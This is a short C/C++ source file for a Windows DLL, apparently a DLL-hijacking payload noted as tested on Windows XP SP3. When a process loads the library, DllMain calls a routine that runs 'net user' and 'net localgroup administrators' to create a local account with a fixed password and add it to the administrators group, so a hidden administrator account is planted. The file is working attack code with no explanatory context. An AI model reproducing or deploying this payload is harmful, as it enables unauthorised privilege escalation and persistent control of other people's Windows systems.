//tested on Windows XP SP3
#include "stdafx.h"
#include "windows.h"
#include <cstdlib>

int main()
{
  system("net user apuser appass /add");
  system("net localgroup administrators apuser /add");
  exit(0);
  return 0;
}
 

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        main();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    
    return TRUE;
}